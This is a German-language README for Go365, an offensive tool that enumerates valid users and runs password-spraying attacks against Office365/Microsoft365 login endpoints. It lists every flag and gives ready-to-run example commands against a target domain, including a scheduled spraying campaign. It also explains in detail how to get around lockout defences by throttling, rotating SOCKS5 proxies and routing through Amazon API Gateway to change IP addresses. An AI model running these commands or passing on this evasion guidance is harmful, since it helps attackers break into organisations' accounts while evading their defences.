
Ein Angriffstool für Office365-Benutzer
Bitte lies die gesamte README, bevor du Go365 verwendest!
Go365 ist ein Tool, das entwickelt wurde, um User-Enumeration* und Passwort-Angriffe auf Organisationen durchzuführen, die Office365 (jetzt/bald Microsoft365) verwenden. Go365 verwendet einen einzigartigen SOAP-API-Endpunkt auf login.microsoftonline.com, den die meisten anderen Tools nicht nutzen. Wenn eine E-Mail-Adresse und ein Passwort abgefragt werden, antwortet der Endpunkt mit einem Azure AD Authentifizierungs- und Autorisierungscode. Dieser Code wird dann von Go365 verarbeitet und das Ergebnis auf dem Bildschirm oder in eine Ausgabedatei ausgegeben.
* User-Enumeration wird in Verbindung mit einem Passwort-Versuch durchgeführt. Daher gibt es kein spezielles Flag oder eine Funktion, um nur User-Enumeration durchzuführen. Führe stattdessen deinen ersten Passwort-Angriff durch und werte die Ergebnisse auf gültige Benutzer aus.
Lade eine vorkompilierte Binärdatei für dein Betriebssystem HIER herunter.
Lade den Quellcode herunter und kompiliere lokal.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Zeigt diesen Kram an
Required - Endpoint:
-endpoint [rst or graph] Gib an, welcher Endpunkt verwendet werden soll
: (-endpoint rst) *Klassisches Go365!* login.microsoftonline.com/rst2.srf. SOAP-XML-Anfrage mit XML-Antwort
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP-POST-Anfrage mit JSON-Antwort
Required - Usernames and Passwords:
-u <string> Einzelnen Benutzernamen testen
: Benutzername mit oder ohne "@domain.com"
: Muss auch das Flag -d angeben, um die Domäne festzulegen
: (-u [email protected])
-ul <file> Benutzernamenliste verwenden (überschreibt -u)
: Datei sollte einen Benutzernamen pro Zeile enthalten
: Benutzernamen können "@domain.com" enthalten
: Wenn keine Domäne angegeben ist, wird die -d-Domäne verwendet
: (-ul ./usernamelist.txt)
-p <string> Zu testendes Passwort
: In einfache Anführungszeichen setzen, wenn es Sonderzeichen enthält
: (-p password123) oder (-p 'p@s$w0|2d')
-pl <file> Passwortliste verwenden (überschreibt -p)
: Datei sollte ein Passwort pro Zeile enthalten
: Das Flag -delay kann verwendet werden, um eine Pause zwischen den Versuchen einzufügen
: (-pl ./passwordlist.txt)
-up <file> Liste von Benutzer-Passwort-Paaren verwenden (überschreibt alle obigen Optionen)
: Ein Benutzername und ein Passwort getrennt durch ":" pro Zeile
: Vorsicht vor doppelten Benutzernamen!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Zu testende Domäne
: Verwende dies, wenn der Benutzername oder die Benutzernamenliste kein "@targetcompany.com" enthält
: (-d targetcompany.com)
Optional:
-w <int> Wartezeit zwischen Versuchen in Sekunden.
: Standard: 1 Sekunde. 5 Sekunden empfohlen.
: (-w 10)
-delay <int> Verzögerung (in Sekunden) zwischen Sprays bei Verwendung einer Passwortliste.
: Standard: 60 Minuten (3600 Sekunden) empfohlen.
: (-delay 7200)
-o <string> Ausgabedatei zum Schreiben
: Hängt an, wenn die Datei existiert, andernfalls wird eine Datei erstellt
: (-o ./Go365output.out)
-proxy <string> Ein einzelner SOCKS5-Proxy-Server zur Verwendung
: IP-Adresse und Port getrennt durch ":"
: SOCKS5-Proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> Eine Datei mit einer Liste von SOCKS5-Proxy-Servern zur Verwendung
: IP-Adresse und Port getrennt durch ":" in jeder Zeile
: Wählt zufällig einen Proxy-Server vor jeder Anfrage aus
: (-proxyfile ./proxyfile.txt)
-url <string> Endpunkt, an den Anfragen gesendet werden sollen
: Amazon API Gateway 'Invoke URL'
: Es wird dringend empfohlen, diese Option zu verwenden. Google es, oder
: schau dir das an: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug-Modus.
: XML-Antwort ausgeben
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Du kannst sogar deine gesamte Passwort-Angriffskampagne mit den Flags -pl und -delay planen :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: Wenn du viele „Konto gesperrt"-Antworten bekommst, solltest du vielleicht einen Proxy oder ein AWS Gateway verwenden.
Protip: Du sperrst Konten wahrscheinlich nicht wirklich.
Nach einer Reihe von Abfragen gegen eine Zieldomäne könnten Ergebnisse melden, dass Konten gesperrt sind.
Sobald diese Abwehr ausgelöst wird, wird die User-Enumeration unzuverlässig, da Anfragen für gültige und ungültige Benutzer zufällig melden, dass ihre Konten gesperrt sind.
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
Dies ist ein Abwehrmechanismus, der durch die Anzahl gültiger Benutzerabfragen gegen die Zieldomäne innerhalb eines bestimmten Zeitraums ausgelöst wird. Die Anzahl der Versuche und der Zeitraum variieren je nach Zieldomäne, da die Schwellenwerte von der Zielorganisation angepasst werden können.
Der Abwehrmechanismus basiert auf Zeit und IP-Adresse. Go365 bietet Optionen, um eine Wartezeit zwischen Anfragen und Proxy-Optionen zur Verteilung der Quellen der Anfragen einzubauen. Um die Abwehrmechanismen auf deiner Zieldomäne zu umgehen, verwende eine lange Wartezeit und mehrere Proxy-Server.
Eine Wartezeit von MINDESTENS 15 Sekunden wird empfohlen. -w 15
Wenn du immer noch „Konto gesperrt"-Antworten bekommst, beginne, deine Anfragen über Proxys zu leiten. Proxy-Optionen wurden nur mit SSH-SOCKS5-Dynamik-Proxys getestet (ssh -D <port> user@proxyserver)
Erstelle eine Reihe von SOCKS5-Proxys auf DO oder AWS oder Vultr oder was auch immer und erstelle eine Datei, die so aussieht:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
Das Tool durchläuft zufällig die bereitgestellten Proxy-Server und wartet die angegebene Zeit zwischen den Anfragen.
-w 15 -proxyfile ./proxies.txt
Zusätzlich kann eine Endpunkt-URL angegeben werden, damit dieses Tool mit Amazon API Gateway zusammenarbeiten kann. Richte ein Gateway ein, das auf den Endpunkt https://login.microsoftonline.com/rst2.srf zeigt, und setze dann den Parameter -url auf die bereitgestellte Invoke URL. Deine IP sollte mit jeder Anfrage rotiert werden.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login